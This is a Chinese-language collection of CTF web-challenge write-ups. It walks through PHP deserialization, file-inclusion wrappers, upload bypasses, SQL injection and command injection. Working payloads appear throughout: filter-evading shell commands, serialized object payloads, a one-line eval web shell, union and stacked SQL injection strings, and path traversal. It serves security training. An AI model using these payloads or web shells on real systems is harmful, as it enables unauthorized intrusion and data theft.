1.反序列化题目
1.分析是什么类型的漏洞:观察代码 可知运用了反序列化函数 且它的参数可控 其次运用了wakeup函数 说明存在反序列话的漏洞
2.分析代码的思路
1. $ctf=@$_POST['ctf']; 用post 方式接受ctf这个参数
@unserialize(base64_decode($ctf)); 对ctf参数先进行base64的解码 然后对解码内容进行了反序列化
2. function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
反序列化之后就会调用wakeup这个函数 : 这个函数的内容 是对参数的内容进行了循环遍历 执行WAF函数的内容
3. function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
这个WAF函数 是执行了过滤的操作 对参数的内容进行的过滤 过滤了 如下这些内容
在WAF这段PHP脚本结束后 就会执行destruct这个函数 这个函数进行了判断 如果$this->method 包含了ping这个方法 就使用这个函数 call_user_func_arraycall_user_func_array 这个函数的作用:call_user_func_array() 函数的作用是以回调函数的方式调用一个函数,并将一个数组作为参数传递给该函数。
在给定的代码中,call_user_func_array(array($this, $this->method), $this->args) 的作用是调用对象 $this 的方法 $this->method(也就是调用ping函数的方法 也就是destruct下面那个ping函数),并将 $this->args 数组作为参数传递给该方法。
这种用法通常用于动态地调用对象的方法,并根据需要传递不同的参数。通过将方法和参数封装到一个数组中,可以实现更灵活的调用方式。例如,可以在运行时决定要调用哪个方法,以及传递什么样的参数。
所以可以看出来这个$this->method调用的是ping这个方法 args就是所要传的参数 所以 从这里就可以看出来ctf需要传两个内容 一个是ping 另一个就是ping的内容了所以下面那个ping函数的内容那个$ip就是参数的内容 所以现在就需要构造这个参数的内容所以现在就需要构造payload 构造payload时候需要一个new ease的函数new ease 是创建 ease 类的一个对象实例。它使用 new 关键字来实例化一个对象,将 ease 类实例化为一个对象,使得该对象可以调用类中定义的方法和属性开始构造payload 首先需要ls一下 看看有没有flag的文件 由于 ls被过滤了 可以但那时\没有被过滤 所以我们可以使用l\s来绕过 因为在linux中 是可以这样拼接命令的 l\仍会继续 你继续输入s后会执行ls的命令<?phphighlight_file(__FILE__);class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } }$payload = new ease ('ping',array('l\s'));echo base64_encode(serialize($payload));
39 40 行就是写的payload newease函数 调用了ping这个类的方法 后面跟的数组array就是那个$ip的内容 然后这个内容就会调用exec这个命令中 去执行 返回result 然后源代码中也会输出这个result的内容其次需要用burp来抓包 注意一开始抓包是get的请求 我们需要改成post 方法如下: 然后发送到repeater的模块 注意post请求发参数的形式就是这样的 并且在render模块进行查看ls 后可以发现有flag的文件(也可能是目录) 接下来我们需要查看这个文件(目录)的内容来获得flag 我们需要继续修改payload的内容 $payload = new ease ('ping',array('l\s${IFS}fl\ag_1s_here')); 找到文件后我们需要查看这个文件的内容但是现在需要查看这个文件的内容就需要more + 这个目录 + \ + 这个文件的名字 但是这里不能直接用\ 我们需要用8进制编码来输出这个\ :\57应该如何输出这个东西呢:在linux环境下 $(printf${IFS}"\57") 这样就会输出 \ 注意括号必须加上payload 为 more${IFS}fl\ag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.p\hp 获得flag
2.file_include题目
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
?filename=php://filter/resource=flag.php
发现并没有回显,猜测可能是页面源码里面有
发现并没有可能是被注释掉了
# 编码读取
?filename=php://filter/read=convert.base64-encode/resource=flag.php
尝试用base64过滤器的方法 并没有得到flag但是可以了解flag确实是在flag.php中接下来尝试其他的过滤器的方法convert.base64
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length,base64 输出将被用line-length个字符为 长度而截成块。如果给出了line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上 chunk_split()相同。
convert.quoted
convert.quoted-printable-encode和convert.quoted-printable-decode使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和convert.base64-encode一样的附加参数外,convert.quoted-printable-encode还支持布尔参数binary和 force-encode-first。convert.base64-decode只支持line-break-chars参数作为从编码载荷中剥离的类型提示。
convert.iconv.*
这个过滤器需要php支持 iconv ,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。
尝试使用convert.iconv.这个过滤器试试
利用方式如下:convert.iconv.utf8.utf8 必须后面跟两种字符编码的方式 但是如果一个一个试有点麻烦 用BP来多次进行尝试攻击
?filename=php://filter/convert.iconv.utf8.utf8/resource=flag.php 接下来在response上找有正常编码的flag即可 flag为 cyberpeace{ec5a54fdd71ae884958c476bd0493f6e}3.php代码审计
<?phphighlight_file(__FILE__);$key1 = 0;$key2 = 0;$a = $_GET['a'];$b = $_GET['b'];if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;}else{die("Emmm...再想想");}}else{die("Emmm...");}$c=(array)json_decode(@$_GET['c']);if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;}else{die("no hack");}}else{die("no");}if($key1 && $key2){include "Hgfks.php";echo "You're right"."\n";echo $flag;}?>Emmm...
分析代码:$a = $_GET['a'];$b = $_GET['b'];
以get方式传ab两个参数
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)如果传了a得值并且a经过intval转化后的整数得值要>6000000 并且a得长度小于等于3,但是这里就会有一个矛盾得点 又得大于6000000又得长度小于3我们可以用1e9来上传 1e9也就是 10的9次方这样就可以满足原题的条件if(isset($b) && '8b184b' === substr(md5($b),-6,6))如果传了一个b的值 并且还得满足后面的条件我们需要算出来这个b的值 用代码算即可代码如下<?php$b = 0;while(True){ if('8b184b' === substr(md5($b),-6,6)) { echo $b; break; } $b++;}
$c=(array)json_decode(@$_GET['c']);解释这个代码 : @$_GET['c']:这段代码首先尝试从GET请求中获取名为"c"的参数的值。json_decode():然后使用json_decode()函数将获取到的JSON字符串解码为PHP对象。(array):最后,使用类型转换操作符(array)将解码后的PHP对象转换为数组。 举个例子,如果你通过URL发送了如下GET请求:
Copy Codehttp://example.com/script.php?c={"name":"John","age":30}
那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象,并转换为PHP数组,类似于下面的结果:
Copy Code$c = array( "name" => "John", "age" => 30);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)如果c是数组 并且 !is_numeric(@$c["m"]) : 使用is_numeric函数检查数组$c中名为m的元素的值是否为数字 $c["m"] > 2022 : 并且这个m元素的值 需要大于2022这里就又矛盾了 如果既要求m元素的值不是数字 还需要大于 2022 这里php有一个语言特性 2023m>2022 在进行比较时 php会取一个比较数中前面的数字来进行与后面的数字的比较 if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现这个时候就需要array_search 这个弱类型的比较了因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的 所以就可以这么进行绕过所以最后的abc的参数为 ?a=1e9&b=53724&c={"m":"2023x","n":[[],0]} 获得;flag
4.fileclude(仍是文件包含伪协议绕过)
WRONG WAY!<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) && isset($_GET["file2"])){$file1 = $_GET["file1"];$file2 = $_GET["file2"];if(!empty($file1) && !empty($file2)){if(file_get_contents($file2) === "hello ctf"){include($file1);}}elsedie("NONONO");}
分析代码:
首先,它检查是否有名为"file1"和"file2"的GET参数传入。然后,将这两个参数的值分别赋给变量file1和file1和file2。接着,它检查file1和file1和file2是否都不为空。如果满足上述条件,并且file2的内容等于"hello ctf",那么它会包含file2的内容等于"helloctf",那么它会包含file1指定的文件。否则,会输出"NONONO"并终止程序。 现在需要上传file1与file2的值但是还必须将file2的值为hello ctf仍在考php的伪协议对于这个===hello ctf需要用 对于file1则是??filename=php://filter/read=convert.base64-encode/resource=flag.php这段伪协议又因为使用input这个命令执行的伪协议只能读取post中的data部分 需要抓包才能将data的内容改为hello ctf最后的url为?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input 必须要在左边写hello ctf 才能使input函数读入这段字符串因为是用base64编码的所以需要解码一下flag为cyberpeace{4ac5762a8c1149754fecc0727f8245f4}5.fileinclude
考点:考了cookie的利用 以及文件包含php伪协议的利用
打开后发现页面没有源码什么的用F12查看页面源代码试试 源码如下
<?phpif( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); }error_reporting(E_ALL);$lan = $_COOKIE['language'];if(!$lan){@setcookie("language","english");@include("english.php");}else{@include($lan.".php");}$x=file_get_contents('index.php');echo $x;?>
查看源码后发现里面include有可控的变量 cookie 中的language所以用BP抓包修改cookie中language的值 并用php伪协议来获取flag.php 发现并没有cookie的值 所以需要我们自己写 注意这个cookie的赋值必须在connection下面 并且这里将english赋给language后原来的报错没有了证明填的位置正确了 所以只需要resource后面写flag即可 因为源码中拼接了.php最后解码一下即可cyberpeace{b6408b005f630c84392534b561a3b11e} 得到flag 6.easyupload
考点:考文件上传漏洞
先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片,最后用蚁剑来连接GIF89a auto_prepend_file=a.jpg
题头GIF89a是为了防止后端检测这个文件的开头是不是JPG或者其他图片格式 可以绕过后端的检测上传这个文件时用bp上传改一些内容也是防止后端检测 然后再上传一个jpg文件里面有一句话木马 GIF89a<?=eval($_REQUEST['cmd']);?>
然后将格式改为jpg的格式 继续再bp repeater模块中检测 这里发现仍然上传不上去可能是检测了内容 把php删掉改成=试试 上传成功 上传成功后,现在需要找到路径才能填蚁剑的那个地址 这个就是其地址 用蚁剑连接 7.inget&robots
由此可见是考SQL注入的
用万能钥匙来获得flag即可?id=1'or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag这道题考robots协议 robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。
简单的理解:robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。
主流的搜索引擎都会遵守robots协议。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。
robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。
可以发现这里有flag的文件 所以我们直接在当前目录访问即可8. get_post&disabled_button&cookie
用BP抓包上传post方式b的值
遇到页面没有什么可利用的消息可以按F12来获取信息 把disable删掉即可 然后按下按钮
考察cookie的相关信息按F12 发现有cookie.php然后访问cookie.php 然后让我们看http response
9. 备份文件&ics-06
猜测是目录扫描,从而找到flag的文件 扫描后发现这里是空的 点开后有一个文件自动下载打开后发现只有这个页面可以打开 猜测是SQL注入 于是用SQLmap检测有没有sql注入的点 发现并没有猜测id=1 这个整数1存在暴力破解 成功找到
10. PHP2
考点:URL解码:%+assic 16进制
页面上问的是:你能认证这个网站么先F12查看有没有可利用的消息 发现并没有什么可利用的尝试访问一下indedx.php 这道题考的是文件的后缀 phps:文件的源代码例如 index.phps 查看的就是index.php的源代码 试着提交的id=admin (注意是在index.php上 而不是index.phps上) 发现是not allowed 但是源代码中id后经过了url解码 使得解码后的id 与admin相等于是用url编码admin 但是 admin经过url编码后还是admin 没有变化url解码是 %+ascii16进制 (注意这里百分号 也得是ascii表的16进制形式) 所以这里将a改为 %2561 25为%的ascii16进制 61为小写字母a的ascii16进制
11.robots
看了题目后猜测 是robots协议 然后继续查看flag的文件即可
12. unserialize3&view_source
核心思想:不让wakeup这个函数执行 只有反序列化异常的情况下(也就是属性值个数大于属性个数的时候即异常)
有一个PHP的类:xctf
有一个flag的对象
wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值
?code:将类以参数的形式传给xctf
目标:1.反序列化xctf
步骤:1.先序列化flag对象的值
<?phpclass xctf { public $flag = '111'; }$a = new xctf();echo serialize($a);?>
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
将1改成2即可绕过wakeup功能
提交url即可
注意:1.如果flag这个对象如果不是公有的对象是私有的话
且如果编译出来的序列化内容 类与对象连在一起 需要在xctf与flag间加%00
也就是改为 %00xctf%00flag
注意这个%00不是空格而是url编码
题目介绍鼠标右键不管用了按F12试试 查看页面源代码发现存在flagcyberpeace{911f212270286f4c4aa587e1216a9a49}
13.weak_auth&simple_php
由这个的提示可以看出 用户名为admin这时候需要猜密码于是用BP的密码暴力破解 输错密码后发现是check.phpF12查看页面源代码看看 发现给了个提示 说 你需要一个字典所以用BP的暴力破解 发现flag
首先需要上传一个a的值 a的值必须等于0 而且a还得存在这里输入?a=0试试 发现并没有反应 可能a=0是不存在的输入 a=‘0’字符串试试 发现有反应了接下来看b这个b如果是数字的话就会退出 所以b不能是数字 但是不是数字还得大于1234 这里就有php一种弱语言的特性 比如 1235c>1234所以b=1235c的话 就满足条件了
14. NewsCenter(SQL注入)
查看页面后发现只有search new那一栏可以输入,尝试输入一些东西看看有没有什么变化的东西 输入1,2,3后分别有不同的内容回显猜测是SQL注入输入1' or 1=1 #后发现 回显了news的全部内容查询可利用的字段发现到4的时候跳转到了另一个界面 说明有三个可利用的字段 接下来用union联合查询查询哪几个字段有回显点 发现2和3有回显点接下来就是查询数据库 表名 字段的数据查询数据库: 查询表名:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # 查询字段名:1' union select 1,group_concat(column_name),3 from information_schema.columns
where table_name="secret_table" # 注意secret_table 必须加上双引号 否则回显不了如果加上双引号也失败 可以将表名改为 十六进制 前面加上0x 例如:0x7365637265745f7461626c65 这样的目的是为了表示后面的数是16进制在编程里面一般都要加入 来区别十进制数
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7365637265745f7461626c65 # 注意 如果用16进制的话 就不需要加双引号了 同样有回显
接下来查询fl4g这个字段的数据1' union select 1,fl4g,3 from secret_table # 得到flag
15.upload1
看出文件上传漏洞先上传一个ctf.php试试 发现还没点击上传就弹框了这时候只需要禁用JS脚本即可 然后再次上传 发现上传成功然后用蚁剑连接即可16.xff_referer
考http请求头 IP来源
X-Forwarded-For 尝试这个
抓包写即可 接下来需要考虑http 的来源17.command_execution
远程代码执行漏洞 而且没有任何的WAF find / -name "flag*" :这行代码的意思是 从根目录是开始找 flag 以及flag后面仍有东西的文件18.web2
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ //对字符串进行反转 如果是abc 那么就是 cba $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ //对字符串进行截取 从0开始 每次截取一个字符 $_c=substr($_o,$_0,1); // 返回ascii的值然后再+1 $__=ord($_c)+1; //把ascii值转会字符串 $_c=chr($__); //把字符串作了一个拼接 $_=$_.$_c; } return str_rot13(strrev(base64_encode($_)));}highlight_file(__FILE__);/* 逆向加密算法,解密$miwen就是flag*/?>
考点就是写一个解密算法 把源码倒过来写即可 <?phpfunction decode($str){ $a=base64_decode((strrev(str_rot13($str)))); for($_0=0;$_0<strlen($a);$_0++){ //对字符串进行截取 从0开始 每次截取一个字符 $_c=substr($a,$_0,1); // 返回ascii的值然后再+1 $__=ord($_c)-1; //把ascii值转会字符串 $_c=chr($__); //把字符串作了一个拼接 $_=$_.$_c; } $b=strrev($_); echo "$b";}$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";decode($miwen);
19.Web_php_unserialize
考点:如何绕过正则 如何绕过wake up 函数<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?
分析代码 首先get方式提交一个var的参数 然后对其进行base64的解码 然后进行了正则表达式的判断对正则表达式的理解:如果有o:数字 或者是c:数字 且oc不区分大小写(/i 这个起这个作用) 那么就终止代码 比如o:4然后就进行反序列化 反序列化结束后就要进行wake up函数 这里不能使他进行wake up函数 <?phpclass Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }$flag = new Demo('fl4g.php'); //注意加引号//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}//echo serialize($flag);$flag = serialize($flag);$flag = str_replace('O:4','O:+4',$flag);$flag = str_replace(':1:',':2:',$flag);echo base64_encode($flag);
对17行代码进行解释 首先实体化这个Demo对象 使file为fl4g.php然后对他进行序列化 因为要绕过正则表达式 且这里只有一个o没有c 要绕过的话只需要在4那里变成+4即可因为还得要反序列化后的结果 异常才不能进行wake up函数 所以还需要把1改成2其他数字都可以最后再对其及逆行base64的编码即可注意:这里为什么要进行字符的替换 而不是直接复制粘贴修改因为 一开始输出序列化结果的时候 Demo file 中有特殊字符(这个特殊字符不是空格 我试过没有成功),所以不能直接复制粘贴 只能在原基础上进行修改 所以采用字符的替换最后得到flag 20.supersqli
考察SQL注入先看有没有注入点 发现将数据全部回显出来 说明有注入点查看字段 所以发现字段有两个接下来查看回显点 发现有正则表达式(过滤了上述 以及大小写形式) 阻止我们查看但是他并没有过滤封号 所以考虑堆叠注入 发现有两张表 接下来查看表里面的列
1';show columns from `1919810931114514`;#
注意查看列时表名为字符串时需要加反引号 而不是引号 ```` 1';handler `1919810931114514` open as `a`;handler `a` read next;#由于注释了select 所以需要其他方式来查看表中的数据 从而得到flag 21. warmup
进来没有任何的提示 查看页面源代码看看有没有信息提示 发现这里注释了个source.php查看一下内容 发现有源码查看源码后发现白名单里还有一个hint.php查看一下内容 查看后发现flag真正在的地方(注意后面没有.php我这里打错了) 上面的那个就是原文件名字 试着查看一下发现没有查看成功查看源码后发现有四处if语句 只要有一处返回true就可以进行下面的文件包含 显示flag 但是文件包含还得包含那个含有flag的php文件 如果只是source.php的话 并不会显示flag 所以最后只能补充:mb_strpos : 函数的用法是 mb_substr: 构造payload:?file=source.php%3Fffffllllaaaagggg,无结果,主机尝试上级目录,直至?file=source.php%3F../../../../../ffffllllaaaagggg,发现结果! 补充:include 可以包含多个文件 所以payload可以那么构造